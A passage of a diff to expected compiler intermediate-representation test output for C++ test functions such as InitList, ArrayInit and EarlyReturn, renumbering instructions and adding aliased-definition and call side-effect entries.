r0_10(bool) = Load : r0_9, mu0_1 -# 489| v0_11(void) = ConditionalBranch : r0_10 +# 486| v0_0(void) = EnterFunction : +# 486| mu0_1(unknown) = AliasedDefinition : +# 486| mu0_2(unknown) = UnmodeledDefinition : +# 486| r0_3(glval) = VariableAddress[a] : +# 486| mu0_4(bool) = InitializeParameter[a] : r0_3 +# 487| r0_5(glval) = VariableAddress[x] : +# 487| mu0_6(int) = Uninitialized[x] : r0_5 +# 488| r0_7(glval) = VariableAddress[y] : +# 488| mu0_8(int) = Uninitialized[y] : r0_7 +# 489| r0_9(int) = Constant[5] : +# 489| r0_10(glval) = VariableAddress[a] : +# 489| r0_11(bool) = Load : r0_10, mu0_2 +# 489| v0_12(void) = ConditionalBranch : r0_11 #-----| False -> Block 3 #-----| True -> Block 2 # 489| Block 1 # 489| r1_0(glval) = VariableAddress[#temp489:6] : -# 489| r1_1(glval) = Load : r1_0, mu0_1 -# 489| mu1_2(int) = Store : r1_1, r0_8 +# 489| r1_1(glval) = Load : r1_0, mu0_2 +# 489| mu1_2(int) = Store : r1_1, r0_9 # 490| v1_3(void) = NoOp : # 486| v1_4(void) = ReturnVoid : # 486| v1_5(void) = UnmodeledUse : mu* @@ -2126,12 +2181,13 @@ ir.cpp: # 492| Conditional_Void(bool) -> void # 492| Block 0 # 492| v0_0(void) = EnterFunction : -# 492| mu0_1(unknown) = UnmodeledDefinition : -# 492| r0_2(glval) = VariableAddress[a] : -# 492| mu0_3(bool) = InitializeParameter[a] : r0_2 -# 493| r0_4(glval) = VariableAddress[a] : -# 493| r0_5(bool) = Load : r0_4, mu0_1 -# 493| v0_6(void) = ConditionalBranch : r0_5 +# 492| mu0_1(unknown) = AliasedDefinition : +# 492| mu0_2(unknown) = UnmodeledDefinition : +# 492| r0_3(glval) = VariableAddress[a] : +# 492| mu0_4(bool) = InitializeParameter[a] : r0_3 +# 493| r0_5(glval) = VariableAddress[a] : +# 493| r0_6(bool) = Load : r0_5, mu0_2 +# 493| v0_7(void) = ConditionalBranch : r0_6 #-----| False -> Block 3 #-----| True -> Block 2 @@ -2144,238 +2200,246 @@ ir.cpp: # 493| Block 2 # 493| r2_0(glval) = FunctionAddress[VoidFunc] : # 493| v2_1(void) = Call : r2_0 +# 493| mu2_2(unknown) = ^CallSideEffect : mu0_2 #-----| Goto -> Block 1 # 493| Block 3 # 493| r3_0(glval) = FunctionAddress[VoidFunc] : # 493| v3_1(void) = Call : r3_0 +# 493| mu3_2(unknown) = ^CallSideEffect : mu0_2 #-----| Goto -> Block 1 # 496| Nullptr() -> void # 496| Block 0 # 496| v0_0(void) = EnterFunction : -# 496| mu0_1(unknown) = UnmodeledDefinition : -# 497| r0_2(glval) = VariableAddress[p] : -# 497| r0_3(int *) = Constant[0] : -# 497| mu0_4(int *) = Store : r0_2, r0_3 -# 498| r0_5(glval) = VariableAddress[q] : -# 498| r0_6(int *) = Constant[0] : -# 498| mu0_7(int *) = Store : r0_5, r0_6 -# 499| r0_8(int *) = Constant[0] : -# 499| r0_9(glval) = VariableAddress[p] : -# 499| mu0_10(int *) = Store : r0_9, r0_8 -# 500| r0_11(int *) = Constant[0] : -# 500| r0_12(glval) = VariableAddress[q] : -# 500| mu0_13(int *) = Store : r0_12, r0_11 -# 501| v0_14(void) = NoOp : -# 496| v0_15(void) = ReturnVoid : -# 496| v0_16(void) = UnmodeledUse : mu* -# 496| v0_17(void) = ExitFunction : +# 496| mu0_1(unknown) = AliasedDefinition : +# 496| mu0_2(unknown) = UnmodeledDefinition : +# 497| r0_3(glval) = VariableAddress[p] : +# 497| r0_4(int *) = Constant[0] : +# 497| mu0_5(int *) = Store : r0_3, r0_4 +# 498| r0_6(glval) = VariableAddress[q] : +# 498| r0_7(int *) = Constant[0] : +# 498| mu0_8(int *) = Store : r0_6, r0_7 +# 499| r0_9(int *) = Constant[0] : +# 499| r0_10(glval) = VariableAddress[p] : +# 499| mu0_11(int *) = Store : r0_10, r0_9 +# 500| r0_12(int *) = Constant[0] : +# 500| r0_13(glval) = VariableAddress[q] : +# 500| mu0_14(int *) = Store : r0_13, r0_12 +# 501| v0_15(void) = NoOp : +# 496| v0_16(void) = ReturnVoid : +# 496| v0_17(void) = UnmodeledUse : mu* +# 496| v0_18(void) = ExitFunction : # 503| InitList(int, float) -> void # 503| Block 0 # 503| v0_0(void) = EnterFunction : -# 503| mu0_1(unknown) = UnmodeledDefinition : -# 503| r0_2(glval) = VariableAddress[x] : -# 503| mu0_3(int) = InitializeParameter[x] : r0_2 -# 503| r0_4(glval) = VariableAddress[f] : -# 503| mu0_5(float) = InitializeParameter[f] : r0_4 -# 504| r0_6(glval) = VariableAddress[pt1] : -# 504| mu0_7(Point) = Uninitialized : r0_6 -# 504| r0_8(glval) = FieldAddress[x] : r0_6 -# 504| r0_9(glval) = VariableAddress[x] : -# 504| r0_10(int) = Load : r0_9, mu0_1 -# 504| mu0_11(int) = Store : r0_8, r0_10 -# 504| r0_12(glval) = FieldAddress[y] : r0_6 -# 504| r0_13(glval) = VariableAddress[f] : -# 504| r0_14(float) = Load : r0_13, mu0_1 -# 504| r0_15(int) = Convert : r0_14 -# 504| mu0_16(int) = Store : r0_12, r0_15 -# 505| r0_17(glval) = VariableAddress[pt2] : -# 505| mu0_18(Point) = Uninitialized : r0_17 -# 505| r0_19(glval) = FieldAddress[x] : r0_17 -# 505| r0_20(glval) = VariableAddress[x] : -# 505| r0_21(int) = Load : r0_20, mu0_1 -# 505| mu0_22(int) = Store : r0_19, r0_21 -# 505| r0_23(glval) = FieldAddress[y] : r0_17 -# 505| r0_24(int) = Constant[0] : -# 505| mu0_25(int) = Store : r0_23, r0_24 -# 506| r0_26(glval) = VariableAddress[pt3] : -# 506| mu0_27(Point) = Uninitialized : r0_26 -# 506| r0_28(glval) = FieldAddress[x] : r0_26 -# 506| r0_29(int) = Constant[0] : -# 506| mu0_30(int) = Store : r0_28, r0_29 -# 506| r0_31(glval) = FieldAddress[y] : r0_26 -# 506| r0_32(int) = Constant[0] : -# 506| mu0_33(int) = Store : r0_31, r0_32 -# 508| r0_34(glval) = VariableAddress[x1] : -# 508| r0_35(int) = Constant[1] : -# 508| mu0_36(int) = Store : r0_34, r0_35 -# 509| r0_37(glval) = VariableAddress[x2] : -# 509| r0_38(int) = Constant[0] : -# 509| mu0_39(int) = Store : r0_37, r0_38 -# 510| v0_40(void) = NoOp : -# 503| v0_41(void) = ReturnVoid : -# 503| v0_42(void) = UnmodeledUse : mu* -# 503| v0_43(void) = ExitFunction : +# 503| mu0_1(unknown) = AliasedDefinition : +# 503| mu0_2(unknown) = UnmodeledDefinition : +# 503| r0_3(glval) = VariableAddress[x] : +# 503| mu0_4(int) = InitializeParameter[x] : r0_3 +# 503| r0_5(glval) = VariableAddress[f] : +# 503| mu0_6(float) = InitializeParameter[f] : r0_5 +# 504| r0_7(glval) = VariableAddress[pt1] : +# 504| mu0_8(Point) = Uninitialized[pt1] : r0_7 +# 504| r0_9(glval) = FieldAddress[x] : r0_7 +# 504| r0_10(glval) = VariableAddress[x] : +# 504| r0_11(int) = Load : r0_10, mu0_2 +# 504| mu0_12(int) = Store : r0_9, r0_11 +# 504| r0_13(glval) = FieldAddress[y] : r0_7 +# 504| r0_14(glval) = VariableAddress[f] : +# 504| r0_15(float) = Load : r0_14, mu0_2 +# 504| r0_16(int) = Convert : r0_15 +# 504| mu0_17(int) = Store : r0_13, r0_16 +# 505| r0_18(glval) = VariableAddress[pt2] : +# 505| mu0_19(Point) = Uninitialized[pt2] : r0_18 +# 505| r0_20(glval) = FieldAddress[x] : r0_18 +# 505| r0_21(glval) = VariableAddress[x] : +# 505| r0_22(int) = Load : r0_21, mu0_2 +# 505| mu0_23(int) = Store : r0_20, r0_22 +# 505| r0_24(glval) = FieldAddress[y] : r0_18 +# 505| r0_25(int) = Constant[0] : +# 505| mu0_26(int) = Store : r0_24, r0_25 +# 506| r0_27(glval) = VariableAddress[pt3] : +# 506| mu0_28(Point) = Uninitialized[pt3] : r0_27 +# 506| r0_29(glval) = FieldAddress[x] : r0_27 +# 506| r0_30(int) = Constant[0] : +# 506| mu0_31(int) = Store : r0_29, r0_30 +# 506| r0_32(glval) = FieldAddress[y] : r0_27 +# 506| r0_33(int) = Constant[0] : +# 506| mu0_34(int) = Store : r0_32, r0_33 +# 508| r0_35(glval) = VariableAddress[x1] : +# 508| r0_36(int) = Constant[1] : +# 508| mu0_37(int) = Store : r0_35, r0_36 +# 509| r0_38(glval) = VariableAddress[x2] : +# 509| r0_39(int) = Constant[0] : +# 509| mu0_40(int) = Store : r0_38, r0_39 +# 510| v0_41(void) = NoOp : +# 503| v0_42(void) = ReturnVoid : +# 503| v0_43(void) = UnmodeledUse : mu* +# 503| v0_44(void) = ExitFunction : # 512| NestedInitList(int, float) -> void # 512| Block 0 # 512| v0_0(void) = EnterFunction : -# 512| mu0_1(unknown) = UnmodeledDefinition : -# 512| r0_2(glval) = VariableAddress[x] : -# 512| mu0_3(int) = InitializeParameter[x] : r0_2 -# 512| r0_4(glval) = VariableAddress[f] : -# 512| mu0_5(float) = InitializeParameter[f] : r0_4 -# 513| r0_6(glval) = VariableAddress[r1] : -# 513| mu0_7(Rect) = Uninitialized : r0_6 -# 513| r0_8(glval) = FieldAddress[topLeft] : r0_6 -# 513| r0_9(Point) = Constant[0] : -# 513| mu0_10(Point) = Store : r0_8, r0_9 -# 513| r0_11(glval) = FieldAddress[bottomRight] : r0_6 -# 513| r0_12(Point) = Constant[0] : -# 513| mu0_13(Point) = Store : r0_11, r0_12 -# 514| r0_14(glval) = VariableAddress[r2] : -# 514| mu0_15(Rect) = Uninitialized : r0_14 -# 514| r0_16(glval) = FieldAddress[topLeft] : r0_14 -# 514| r0_17(glval) = FieldAddress[x] : r0_16 -# 514| r0_18(glval) = VariableAddress[x] : -# 514| r0_19(int) = Load : r0_18, mu0_1 -# 514| mu0_20(int) = Store : r0_17, r0_19 -# 514| r0_21(glval) = FieldAddress[y] : r0_16 -# 514| r0_22(glval) = VariableAddress[f] : -# 514| r0_23(float) = Load : r0_22, mu0_1 -# 514| r0_24(int) = Convert : r0_23 -# 514| mu0_25(int) = Store : r0_21, r0_24 -# 514| r0_26(glval) = FieldAddress[bottomRight] : r0_14 -# 514| r0_27(Point) = Constant[0] : -# 514| mu0_28(Point) = Store : r0_26, r0_27 -# 515| r0_29(glval) = VariableAddress[r3] : -# 515| mu0_30(Rect) = Uninitialized : r0_29 -# 515| r0_31(glval) = FieldAddress[topLeft] : r0_29 -# 515| r0_32(glval) = FieldAddress[x] : r0_31 -# 515| r0_33(glval) = VariableAddress[x] : -# 515| r0_34(int) = Load : r0_33, mu0_1 -# 515| mu0_35(int) = Store : r0_32, r0_34 -# 515| r0_36(glval) = FieldAddress[y] : r0_31 -# 515| r0_37(glval) = VariableAddress[f] : -# 515| r0_38(float) = Load : r0_37, mu0_1 -# 515| r0_39(int) = Convert : r0_38 -# 515| mu0_40(int) = Store : r0_36, r0_39 -# 515| r0_41(glval) = FieldAddress[bottomRight] : r0_29 -# 515| r0_42(glval) = FieldAddress[x] : r0_41 -# 515| r0_43(glval) = VariableAddress[x] : -# 515| r0_44(int) = Load : r0_43, mu0_1 -# 515| mu0_45(int) = Store : r0_42, r0_44 -# 515| r0_46(glval) = FieldAddress[y] : r0_41 -# 515| r0_47(glval) = VariableAddress[f] : -# 515| r0_48(float) = Load : r0_47, mu0_1 -# 515| r0_49(int) = Convert : r0_48 -# 515| mu0_50(int) = Store : r0_46, r0_49 -# 516| r0_51(glval) = VariableAddress[r4] : -# 516| mu0_52(Rect) = Uninitialized : r0_51 -# 516| r0_53(glval) = FieldAddress[topLeft] : r0_51 -# 516| r0_54(glval) = FieldAddress[x] : r0_53 -# 516| r0_55(glval) = VariableAddress[x] : -# 516| r0_56(int) = Load : r0_55, mu0_1 -# 516| mu0_57(int) = Store : r0_54, r0_56 -# 516| r0_58(glval) = FieldAddress[y] : r0_53 -# 516| r0_59(int) = Constant[0] : -# 516| mu0_60(int) = Store : r0_58, r0_59 -# 516| r0_61(glval) = FieldAddress[bottomRight] : r0_51 -# 516| r0_62(glval) = FieldAddress[x] : r0_61 -# 516| r0_63(glval) = VariableAddress[x] : -# 516| r0_64(int) = Load : r0_63, mu0_1 -# 516| mu0_65(int) = Store : r0_62, r0_64 -# 516| r0_66(glval) = FieldAddress[y] : r0_61 -# 516| r0_67(int) = Constant[0] : -# 516| mu0_68(int) = Store : r0_66, r0_67 -# 517| v0_69(void) = NoOp : -# 512| v0_70(void) = ReturnVoid : -# 512| v0_71(void) = UnmodeledUse : mu* -# 512| v0_72(void) = ExitFunction : +# 512| mu0_1(unknown) = AliasedDefinition : +# 512| mu0_2(unknown) = UnmodeledDefinition : +# 512| r0_3(glval) = VariableAddress[x] : +# 512| mu0_4(int) = InitializeParameter[x] : r0_3 +# 512| r0_5(glval) = VariableAddress[f] : +# 512| mu0_6(float) = InitializeParameter[f] : r0_5 +# 513| r0_7(glval) = VariableAddress[r1] : +# 513| mu0_8(Rect) = Uninitialized[r1] : r0_7 +# 513| r0_9(glval) = FieldAddress[topLeft] : r0_7 +# 513| r0_10(Point) = Constant[0] : +# 513| mu0_11(Point) = Store : r0_9, r0_10 +# 513| r0_12(glval) = FieldAddress[bottomRight] : r0_7 +# 513| r0_13(Point) = Constant[0] : +# 513| mu0_14(Point) = Store : r0_12, r0_13 +# 514| r0_15(glval) = VariableAddress[r2] : +# 514| mu0_16(Rect) = Uninitialized[r2] : r0_15 +# 514| r0_17(glval) = FieldAddress[topLeft] : r0_15 +# 514| r0_18(glval) = FieldAddress[x] : r0_17 +# 514| r0_19(glval) = VariableAddress[x] : +# 514| r0_20(int) = Load : r0_19, mu0_2 +# 514| mu0_21(int) = Store : r0_18, r0_20 +# 514| r0_22(glval) = FieldAddress[y] : r0_17 +# 514| r0_23(glval) = VariableAddress[f] : +# 514| r0_24(float) = Load : r0_23, mu0_2 +# 514| r0_25(int) = Convert : r0_24 +# 514| mu0_26(int) = Store : r0_22, r0_25 +# 514| r0_27(glval) = FieldAddress[bottomRight] : r0_15 +# 514| r0_28(Point) = Constant[0] : +# 514| mu0_29(Point) = Store : r0_27, r0_28 +# 515| r0_30(glval) = VariableAddress[r3] : +# 515| mu0_31(Rect) = Uninitialized[r3] : r0_30 +# 515| r0_32(glval) = FieldAddress[topLeft] : r0_30 +# 515| r0_33(glval) = FieldAddress[x] : r0_32 +# 515| r0_34(glval) = VariableAddress[x] : +# 515| r0_35(int) = Load : r0_34, mu0_2 +# 515| mu0_36(int) = Store : r0_33, r0_35 +# 515| r0_37(glval) = FieldAddress[y] : r0_32 +# 515| r0_38(glval) = VariableAddress[f] : +# 515| r0_39(float) = Load : r0_38, mu0_2 +# 515| r0_40(int) = Convert : r0_39 +# 515| mu0_41(int) = Store : r0_37, r0_40 +# 515| r0_42(glval) = FieldAddress[bottomRight] : r0_30 +# 515| r0_43(glval) = FieldAddress[x] : r0_42 +# 515| r0_44(glval) = VariableAddress[x] : +# 515| r0_45(int) = Load : r0_44, mu0_2 +# 515| mu0_46(int) = Store : r0_43, r0_45 +# 515| r0_47(glval) = FieldAddress[y] : r0_42 +# 515| r0_48(glval) = VariableAddress[f] : +# 515| r0_49(float) = Load : r0_48, mu0_2 +# 515| r0_50(int) = Convert : r0_49 +# 515| mu0_51(int) = Store : r0_47, r0_50 +# 516| r0_52(glval) = VariableAddress[r4] : +# 516| mu0_53(Rect) = Uninitialized[r4] : r0_52 +# 516| r0_54(glval) = FieldAddress[topLeft] : r0_52 +# 516| r0_55(glval) = FieldAddress[x] : r0_54 +# 516| r0_56(glval) = VariableAddress[x] : +# 516| r0_57(int) = Load : r0_56, mu0_2 +# 516| mu0_58(int) = Store : r0_55, r0_57 +# 516| r0_59(glval) = FieldAddress[y] : r0_54 +# 516| r0_60(int) = Constant[0] : +# 516| mu0_61(int) = Store : r0_59, r0_60 +# 516| r0_62(glval) = FieldAddress[bottomRight] : r0_52 +# 516| r0_63(glval) = FieldAddress[x] : r0_62 +# 516| r0_64(glval) = VariableAddress[x] : +# 516| r0_65(int) = Load : r0_64, mu0_2 +# 516| mu0_66(int) = Store : r0_63, r0_65 +# 516| r0_67(glval) = FieldAddress[y] : r0_62 +# 516| r0_68(int) = Constant[0] : +# 516| mu0_69(int) = Store : r0_67, r0_68 +# 517| v0_70(void) = NoOp : +# 512| v0_71(void) = ReturnVoid : +# 512| v0_72(void) = UnmodeledUse : mu* +# 512| v0_73(void) = ExitFunction : # 519| ArrayInit(int, float) -> void # 519| Block 0 # 519| v0_0(void) = EnterFunction : -# 519| mu0_1(unknown) = UnmodeledDefinition : -# 519| r0_2(glval) = VariableAddress[x] : -# 519| mu0_3(int) = InitializeParameter[x] : r0_2 -# 519| r0_4(glval) = VariableAddress[f] : -# 519| mu0_5(float) = InitializeParameter[f] : r0_4 -# 520| r0_6(glval) = VariableAddress[a1] : -# 520| mu0_7(int[3]) = Uninitialized : r0_6 -# 520| r0_8(int) = Constant[0] : -# 520| r0_9(glval) = PointerAdd : r0_6, r0_8 -# 520| r0_10(unknown[12]) = Constant[0] : -# 520| mu0_11(unknown[12]) = Store : r0_9, r0_10 -# 521| r0_12(glval) = VariableAddress[a2] : -# 521| mu0_13(int[3]) = Uninitialized : r0_12 -# 521| r0_14(int) = Constant[0] : -# 521| r0_15(glval) = PointerAdd : r0_12, r0_14 -# 521| r0_16(glval) = VariableAddress[x] : -# 521| r0_17(int) = Load : r0_16, mu0_1 -# 521| mu0_18(int) = Store : r0_15, r0_17 -# 521| r0_19(int) = Constant[1] : -# 521| r0_20(glval) = PointerAdd : r0_12, r0_19 -# 521| r0_21(glval) = VariableAddress[f] : -# 521| r0_22(float) = Load : r0_21, mu0_1 -# 521| r0_23(int) = Convert : r0_22 -# 521| mu0_24(int) = Store : r0_20, r0_23 -# 521| r0_25(int) = Constant[2] : -# 521| r0_26(glval) = PointerAdd : r0_12, r0_25 -# 521| r0_27(int) = Constant[0] : -# 521| mu0_28(int) = Store : r0_26, r0_27 -# 522| r0_29(glval) = VariableAddress[a3] : -# 522| mu0_30(int[3]) = Uninitialized : r0_29 -# 522| r0_31(int) = Constant[0] : -# 522| r0_32(glval) = PointerAdd : r0_29, r0_31 -# 522| r0_33(glval) = VariableAddress[x] : -# 522| r0_34(int) = Load : r0_33, mu0_1 -# 522| mu0_35(int) = Store : r0_32, r0_34 -# 522| r0_36(int) = Constant[1] : -# 522| r0_37(glval) = PointerAdd : r0_29, r0_36 -# 522| r0_38(unknown[8]) = Constant[0] : -# 522| mu0_39(unknown[8]) = Store : r0_37, r0_38 -# 523| v0_40(void) = NoOp : -# 519| v0_41(void) = ReturnVoid : -# 519| v0_42(void) = UnmodeledUse : mu* -# 519| v0_43(void) = ExitFunction : +# 519| mu0_1(unknown) = AliasedDefinition : +# 519| mu0_2(unknown) = UnmodeledDefinition : +# 519| r0_3(glval) = VariableAddress[x] : +# 519| mu0_4(int) = InitializeParameter[x] : r0_3 +# 519| r0_5(glval) = VariableAddress[f] : +# 519| mu0_6(float) = InitializeParameter[f] : r0_5 +# 520| r0_7(glval) = VariableAddress[a1] : +# 520| mu0_8(int[3]) = Uninitialized[a1] : r0_7 +# 520| r0_9(int) = Constant[0] : +# 520| r0_10(glval) = PointerAdd : r0_7, r0_9 +# 520| r0_11(unknown[12]) = Constant[0] : +# 520| mu0_12(unknown[12]) = Store : r0_10, r0_11 +# 521| r0_13(glval) = VariableAddress[a2] : +# 521| mu0_14(int[3]) = Uninitialized[a2] : r0_13 +# 521| r0_15(int) = Constant[0] : +# 521| r0_16(glval) = PointerAdd : r0_13, r0_15 +# 521| r0_17(glval) = VariableAddress[x] : +# 521| r0_18(int) = Load : r0_17, mu0_2 +# 521| mu0_19(int) = Store : r0_16, r0_18 +# 521| r0_20(int) = Constant[1] : +# 521| r0_21(glval) = PointerAdd : r0_13, r0_20 +# 521| r0_22(glval) = VariableAddress[f] : +# 521| r0_23(float) = Load : r0_22, mu0_2 +# 521| r0_24(int) = Convert : r0_23 +# 521| mu0_25(int) = Store : r0_21, r0_24 +# 521| r0_26(int) = Constant[2] : +# 521| r0_27(glval) = PointerAdd : r0_13, r0_26 +# 521| r0_28(int) = Constant[0] : +# 521| mu0_29(int) = Store : r0_27, r0_28 +# 522| r0_30(glval) = VariableAddress[a3] : +# 522| mu0_31(int[3]) = Uninitialized[a3] : r0_30 +# 522| r0_32(int) = Constant[0] : +# 522| r0_33(glval) = PointerAdd : r0_30, r0_32 +# 522| r0_34(glval) = VariableAddress[x] : +# 522| r0_35(int) = Load : r0_34, mu0_2 +# 522| mu0_36(int) = Store : r0_33, r0_35 +# 522| r0_37(int) = Constant[1] : +# 522| r0_38(glval) = PointerAdd : r0_30, r0_37 +# 522| r0_39(unknown[8]) = Constant[0] : +# 522| mu0_40(unknown[8]) = Store : r0_38, r0_39 +# 523| v0_41(void) = NoOp : +# 519| v0_42(void) = ReturnVoid : +# 519| v0_43(void) = UnmodeledUse : mu* +# 519| v0_44(void) = ExitFunction : # 530| UnionInit(int, float) -> void # 530| Block 0 # 530| v0_0(void) = EnterFunction : -# 530| mu0_1(unknown) = UnmodeledDefinition : -# 530| r0_2(glval) = VariableAddress[x] : -# 530| mu0_3(int) = InitializeParameter[x] : r0_2 -# 530| r0_4(glval) = VariableAddress[f] : -# 530| mu0_5(float) = InitializeParameter[f] : r0_4 -# 531| r0_6(glval) = VariableAddress[u1] : -# 531| mu0_7(U) = Uninitialized : r0_6 -# 531| r0_8(glval) = FieldAddress[d] : r0_6 -# 531| r0_9(glval) = VariableAddress[f] : -# 531| r0_10(float) = Load : r0_9, mu0_1 -# 531| r0_11(double) = Convert : r0_10 -# 531| mu0_12(double) = Store : r0_8, r0_11 -# 533| v0_13(void) = NoOp : -# 530| v0_14(void) = ReturnVoid : -# 530| v0_15(void) = UnmodeledUse : mu* -# 530| v0_16(void) = ExitFunction : +# 530| mu0_1(unknown) = AliasedDefinition : +# 530| mu0_2(unknown) = UnmodeledDefinition : +# 530| r0_3(glval) = VariableAddress[x] : +# 530| mu0_4(int) = InitializeParameter[x] : r0_3 +# 530| r0_5(glval) = VariableAddress[f] : +# 530| mu0_6(float) = InitializeParameter[f] : r0_5 +# 531| r0_7(glval) = VariableAddress[u1] : +# 531| mu0_8(U) = Uninitialized[u1] : r0_7 +# 531| r0_9(glval) = FieldAddress[d] : r0_7 +# 531| r0_10(glval) = VariableAddress[f] : +# 531| r0_11(float) = Load : r0_10, mu0_2 +# 531| r0_12(double) = Convert : r0_11 +# 531| mu0_13(double) = Store : r0_9, r0_12 +# 533| v0_14(void) = NoOp : +# 530| v0_15(void) = ReturnVoid : +# 530| v0_16(void) = UnmodeledUse : mu* +# 530| v0_17(void) = ExitFunction : # 535| EarlyReturn(int, int) -> void # 535| Block 0 # 535| v0_0(void) = EnterFunction : -# 535| mu0_1(unknown) = UnmodeledDefinition : -# 535| r0_2(glval) = VariableAddress[x] : -# 535| mu0_3(int) = InitializeParameter[x] : r0_2 -# 535| r0_4(glval) = VariableAddress[y] : -# 535| mu0_5(int) = InitializeParameter[y] : r0_4 -# 536| r0_6(glval) = VariableAddress[x] : -# 536| r0_7(int) = Load : r0_6, mu0_1 -# 536| r0_8(glval) = VariableAddress[y] : -# 536| r0_9(int) = Load : r0_8, mu0_1 -# 536| r0_10(bool) = CompareLT : r0_7, r0_9 -# 536| v0_11(void) = ConditionalBranch : r0_10 +# 535| mu0_1(unknown) = AliasedDefinition : +# 535| mu0_2(unknown) = UnmodeledDefinition : +# 535| r0_3(glval) = VariableAddress[x] : +# 535| mu0_4(int) = InitializeParameter[x] : r0_3 +# 535| r0_5(glval) = VariableAddress[y] : +# 535| mu0_6(int) = InitializeParameter[y] : r0_5 +# 536| r0_7(glval) = VariableAddress[x] : +# 536| r0_8(int) = Load : r0_7, mu0_2 +# 536| r0_9(glval) = VariableAddress[y] : +# 536| r0_10(int) = Load : r0_9, mu0_2 +# 536| r0_11(bool) = CompareLT : r0_8, r0_10 +# 536| v0_12(void) = ConditionalBranch : r0_11 #-----| False -> Block 3 #-----| True -> Block 2 @@ -2390,7 +2454,7 @@ ir.cpp: # 540| Block 3 # 540| r3_0(glval) = VariableAddress[x] : -# 540| r3_1(int) = Load : r3_0, mu0_1 +# 540| r3_1(int) = Load : r3_0, mu0_2 # 540| r3_2(glval) = VariableAddress[y] : # 540| mu3_3(int) = Store : r3_2, r3_1 # 541| v3_4(void) = NoOp : @@ -2399,39 +2463,40 @@ ir.cpp: # 543| EarlyReturnValue(int, int) -> int # 543| Block 0 # 543| v0_0(void) = EnterFunction : -# 543| mu0_1(unknown) = UnmodeledDefinition : -# 543| r0_2(glval) = VariableAddress[x] : -# 543| mu0_3(int) = InitializeParameter[x] : r0_2 -# 543| r0_4(glval) = VariableAddress[y] : -# 543| mu0_5(int) = InitializeParameter[y] : r0_4 -# 544| r0_6(glval) = VariableAddress[x] : -# 544| r0_7(int) = Load : r0_6, mu0_1 -# 544| r0_8(glval) = VariableAddress[y] : -# 544| r0_9(int) = Load : r0_8, mu0_1 -# 544| r0_10(bool) = CompareLT : r0_7, r0_9 -# 544| v0_11(void) = ConditionalBranch : r0_10 +# 543| mu0_1(unknown) = AliasedDefinition : +# 543| mu0_2(unknown) = UnmodeledDefinition : +# 543| r0_3(glval) = VariableAddress[x] : +# 543| mu0_4(int) = InitializeParameter[x] : r0_3 +# 543| r0_5(glval) = VariableAddress[y] : +# 543| mu0_6(int) = InitializeParameter[y] : r0_5 +# 544| r0_7(glval) = VariableAddress[x] : +# 544| r0_8(int) = Load : r0_7, mu0_2 +# 544| r0_9(glval) = VariableAddress[y] : +# 544| r0_10(int) = Load : r0_9, mu0_2 +# 544| r0_11(bool) = CompareLT : r0_8, r0_10 +# 544| v0_12(void) = ConditionalBranch : r0_11 #-----| False -> Block 3 #-----| True -> Block 2 # 543| Block 1 # 543| r1_0(glval) = VariableAddress[#return] : -# 543| v1_1(void) = ReturnValue : r1_0, mu0_1 +# 543| v1_1(void) = ReturnValue : r1_0, mu0_2 # 543| v1_2(void) = UnmodeledUse : mu* # 543| v1_3(void) = ExitFunction : # 545| Block 2 # 545| r2_0(glval) = VariableAddress[#return] : # 545| r2_1(glval) = VariableAddress[x] : -# 545| r2_2(int) = Load : r2_1, mu0_1 +# 545| r2_2(int) = Load : r2_1, mu0_2 # 545| mu2_3(int) = Store : r2_0, r2_2 #-----| Goto -> Block 1 # 548| Block 3 # 548| r3_0(glval) = VariableAddress[#return] : # 548| r3_1(glval) = VariableAddress[x] : -# 548| r3_2(int) = Load : r3_1, mu0_1 +# 548| r3_2(int) = Load : r3_1, mu0_2 # 548| r3_3(glval) = VariableAddress[y] : -# 548| r3_4(int) = Load : r3_3, mu0_1 +# 548| r3_4(int) = Load : r3_3, mu0_2 # 548| r3_5(int) = Add : r3_2, r3_4 # 548| mu3_6(int) = Store : r3_0, r3_5 #-----| Goto -> Block 1 @@ -2439,37 +2504,40 @@ ir.cpp: # 551| CallViaFuncPtr(..(*)(..)) -> int # 551| Block 0 # 551| v0_0(void) = EnterFunction : -# 551| mu0_1(unknown) = UnmodeledDefinition : -# 551| r0_2(glval<..(*)(..)>) = VariableAddress[pfn] : -# 551| mu0_3(..(*)(..)) = InitializeParameter[pfn] : r0_2 -# 552| r0_4(glval) = VariableAddress[#return] : -# 552| r0_5(glval<..(*)(..)>) = VariableAddress[pfn] : -# 552| r0_6(..(*)(..)) = Load : r0_5, mu0_1 -# 552| r0_7(int) = Constant[5] : -# 552| r0_8(int) = Call : r0_6, r0_7 -# 552| mu0_9(int) = Store : r0_4, r0_8 -# 551| r0_10(glval) = VariableAddress[#return] : -# 551| v0_11(void) = ReturnValue : r0_10, mu0_1 -# 551| v0_12(void) = UnmodeledUse : mu* -# 551| v0_13(void) = ExitFunction : +# 551| mu0_1(unknown) = AliasedDefinition : +# 551| mu0_2(unknown) = UnmodeledDefinition : +# 551| r0_3(glval<..(*)(..)>) = VariableAddress[pfn] : +# 551| mu0_4(..(*)(..)) = InitializeParameter[pfn] : r0_3 +# 552| r0_5(glval) = VariableAddress[#return] : +# 552| r0_6(glval<..(*)(..)>) = VariableAddress[pfn] : +# 552| r0_7(..(*)(..)) = Load : r0_6, mu0_2 +# 552| r0_8(int) = Constant[5] : +# 552| r0_9(int) = Call : r0_7, r0_8 +# 552| mu0_10(unknown) = ^CallSideEffect : mu0_2 +# 552| mu0_11(int) = Store : r0_5, r0_9 +# 551| r0_12(glval) = VariableAddress[#return] : +# 551| v0_13(void) = ReturnValue : r0_12, mu0_2 +# 551| v0_14(void) = UnmodeledUse : mu* +# 551| v0_15(void) = ExitFunction : # 560| EnumSwitch(E) -> int # 560| Block 0 # 560| v0_0(void) = EnterFunction : -# 560| mu0_1(unknown) = UnmodeledDefinition : -# 560| r0_2(glval) = VariableAddress[e] : -# 560| mu0_3(E) = InitializeParameter[e] : r0_2 -# 561| r0_4(glval) = VariableAddress[e] : -# 561| r0_5(E) = Load : r0_4, mu0_1 -# 561| r0_6(int) = Convert : r0_5 -# 561| v0_7(void) = Switch : r0_6 +# 560| mu0_1(unknown) = AliasedDefinition : +# 560| mu0_2(unknown) = UnmodeledDefinition : +# 560| r0_3(glval) = VariableAddress[e] : +# 560| mu0_4(E) = InitializeParameter[e] : r0_3 +# 561| r0_5(glval) = VariableAddress[e] : +# 561| r0_6(E) = Load : r0_5, mu0_2 +# 561| r0_7(int) = Convert : r0_6 +# 561| v0_8(void) = Switch : r0_7 #-----| Case[0] -> Block 4 #-----| Case[1] -> Block 2 #-----| Default -> Block 3 # 560| Block 1 # 560| r1_0(glval) = VariableAddress[#return] : -# 560| v1_1(void) = 